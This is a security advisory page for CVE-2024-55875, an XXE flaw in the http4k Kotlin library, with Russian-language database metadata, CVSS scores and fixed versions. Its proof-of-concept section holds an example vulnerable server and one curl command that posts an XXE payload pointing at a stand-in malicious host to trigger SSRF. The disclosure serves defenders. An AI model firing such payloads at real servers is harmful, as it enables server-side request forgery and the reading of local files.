GHSA-7mj5-hjjj-8rgw

Опубликовано: 12 дек. 2024

Источник: github

Github: Прошло ревью

CVSS3: 9.8

Описание

http4k has a potential XXE (XML External Entity Injection) vulnerability

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Example Vulnerable server code:

import org.http4k.core.* import org.http4k.format.Xml.xml import org.http4k.server.Netty import org.http4k.server.asServer import org.w3c.dom.Document fun main() { val xmlLens = Body.xml().toLens() // Create an HTTP handler val app: HttpHandler = { request -> try { // Parse the incoming XML payload to a Document object val xmlDocument: Document = xmlLens(request) // Extract root element name or other details from the XML val rootElementName = xmlDocument.documentElement.nodeName // Create a response XML based on the extracted information val responseXml = """ <response> <message>Root element is: $rootElementName</message> </response> """.trimIndent() // Respond with XML Response(Status.OK).body(responseXml).header("Content-Type", "application/xml") } catch (e: Exception) { // Handle invalid XML or other errors Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}") } } // Start the server val server = app.asServer(Netty(9000)).start() println("Server started on http://localhost:9000") }

Maven dependency:

<dependencies> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-test-junit5</artifactId> <version>1.9.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter-engine</artifactId> <version>5.10.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-stdlib</artifactId> <version>1.9.0</version> </dependency> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-core</artifactId> <version>5.40.0.0</version> </dependency>  <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-format-xml</artifactId> <version>5.40.0.0</version> </dependency>  <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-server-netty</artifactId> <version>5.40.0.0</version> </dependency> </dependencies>

Exploit payload example to trigger SSRF

curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"

Impact

What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability

Ссылки

Пакеты

Наименование

org.http4k:http4k-format-xml

maven

Затронутые версииВерсия исправления

>= 5.0.0.0, <= 5.40.0.0

5.41.0.0

Наименование

org.http4k:http4k-format-xml

maven

Затронутые версииВерсия исправления

< 4.50.0.0

4.50.0.0

EPSS

Процентиль: 90%

0.05141

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2024-55875

Дефекты

CWE-200

CWE-611

CWE-918

Связанные уязвимости

CVE-2024-55875

CVSS3: 9.8

nvd

около 1 года назад

http4k is a functional toolkit for Kotlin HTTP applications. Prior to version 5.41.0.0, there is a potential XXE (XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances. Version 5.41.0.0 contains a patch for the issue.

BDU:2025-00486

CVSS3: 9.8

fstec

около 1 года назад

Уязвимость функционального набора инструментов для приложений Kotlin HTTP http4k, связанная с неверным ограничением XML-ссылок на внешние объекты, позволяющая нарушителю проводить XXE-атаки

EPSS

Процентиль: 90%

0.05141

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2024-55875

Дефекты

CWE-200

CWE-611

CWE-918